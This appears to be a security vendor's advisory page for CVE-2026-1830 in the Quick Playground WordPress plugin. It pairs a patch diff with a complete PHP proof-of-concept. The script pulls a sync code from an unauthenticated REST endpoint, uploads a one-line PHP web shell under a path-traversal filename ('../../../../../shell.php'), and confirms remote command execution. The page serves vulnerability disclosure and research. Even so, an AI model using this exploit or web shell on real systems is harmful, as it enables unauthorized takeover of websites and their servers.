         if(in_array($option_name,$internal_settings) || strpos($option_name,'qckply_') === 0 || strpos($option_name,'quickplay_') === 0)
             continue;
+        if(!in_array($option_name, $allowed_settings, true))
+            continue;
         $current_value = get_option($option_name);
         if($option_value != $current_value) {
         $settings_output .= sprintf('<p><input type="checkbox" name="import_setting[]" value="%s" /> Import: %s</p><pre>%s</pre>',esc_attr($option_name),esc_html($option_name),esc_html(var_export($option_value,true)));
@@ -181,7 +268,8 @@
     else {
     printf('<h1>Saved Data from Playground "%s"</h1>',esc_html($profile));
     printf('<form method="post" action="%s">',esc_attr($action));
-    wp_nonce_field('quickplayground','playground',true,true);
+    wp_nonce_field('qckply_sync_posts','qckply_sync_posts_nonce',true,true);
+    wp_nonce_field('qckply_sync_switch_theme','qckply_sync_switch_theme_nonce',true,true);
     $taxtracker = [];
     foreach($saved['posts'] as $index => $saved_post) {
         $out = '';
@@ -248,7 +336,7 @@
     if(!empty($settings_output)) {
         printf('<h2>Settings to import from Playground "%s"</h2>',esc_html($profile));
         printf('<form method="post" action="%s">',esc_attr($action));
-        wp_nonce_field('quickplayground','playground',true,true);
+        wp_nonce_field('qckply_sync_settings','qckply_sync_settings_nonce',true,true);
         echo $settings_output;
         printf('<input type="hidden" name="profile" value="%s" >',esc_attr($profile));
         submit_button('Import Selected Settings','primary','import_settings',false);
@@ -267,3 +355,31 @@
     }
     return $output;
 }
+
+function qckply_sync_audit_log($event, $profile, $details = []) {
+    $log = get_option('qckply_sync_audit_log', []);
+
+    if(!is_array($log)) {
+        $log = [];
+    }
+
+    $entry = [
+        'time' => gmdate('c'),
+        'event' => sanitize_text_field($event),
+        'profile' => sanitize_text_field($profile),
+        'user_id' => get_current_user_id(),
+        'details' => is_array($details) ? $details : ['raw' => (string) $details],
+    ];
+
+    $log[] = $entry;
+    $max_items = absint(apply_filters('qckply_sync_audit_log_limit', 100));
+    if($max_items < 10) {
+        $max_items = 10;
+    }
+
+    if(count($log) > $max_items) {
+        $log = array_slice($log, (count($log) - $max_items));
+    }
+
+    update_option('qckply_sync_audit_log', $log, false);
+}
--- a/quick-playground/quick-playground.php
+++ b/quick-playground/quick-playground.php
@@ -3,11 +3,11 @@
  * Plugin Name: Quick Playground
  * Plugin URI:  https://quickplayground.com
  * Description: Preview your content in different themes or test plugins using WordPress Playground. Quickly create Theme and Plugin demo, testing, and staging websites.
- * Version:     1.3.1
+ * Version:     1.3.2
  * Author:      David F. Carr
-*  License:     GPL2
-*  Text Domain: quick-playground
-*  Domain Path: /languages
+ * License:     GPL2
+ * Text Domain: quick-playground
+ * Domain Path: /languages
 */
 if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
 require_once('includes.php');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1830 - Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload

<?php

$target_url = 'http://target-wordpress-site.com';

// Step 1: Retrieve the sync code from the unauthenticated endpoint
$sync_endpoint = $target_url . '/wp-json/quickplayground/v1/sync_ids';

$ch = curl_init($sync_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_POSTFIELDS, '{}');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 200) {
    die("Failed to retrieve sync code. HTTP code: $http_coden");
}

$response_data = json_decode($response, true);
if (!isset($response_data['sync_code'])) {
    die("Sync code not found in responsen");
}

$sync_code = $response_data['sync_code'];
echo "Retrieved sync code: $sync_coden";

// Step 2: Upload a PHP webshell using the sync code
// Using 'default' profile as it's commonly configured
$upload_endpoint = $target_url . '/wp-json/quickplayground/v1/upload_image/default';

// Malicious PHP file with path traversal to place in web root
$php_payload = '<?php system($_GET["cmd"]); ?>';
$base64_payload = base64_encode($php_payload);

// Path traversal attempt to place file in web root
$malicious_filename = '../../../../../shell.php';

$upload_data = [
    'sync_code' => $sync_code,
    'filename' => $malicious_filename,
    'base64' => $base64_payload
];

$ch = curl_init($upload_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($upload_data));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "PHP file uploaded successfullyn";
    
    // Step 3: Verify the webshell is accessible
    $webshell_url = $target_url . '/shell.php';
    $ch = curl_init($webshell_url . '?cmd=id');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $webshell_response = curl_exec($ch);
    curl_close($ch);
    
    if (strpos($webshell_response, 'uid=') !== false) {
        echo "Remote code execution confirmed: $webshell_responsen";
    } else {
        echo "Webshell uploaded but execution failedn";
    }
} else {
    echo "Upload failed. HTTP code: $http_coden";
    echo "Response: $responsen";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School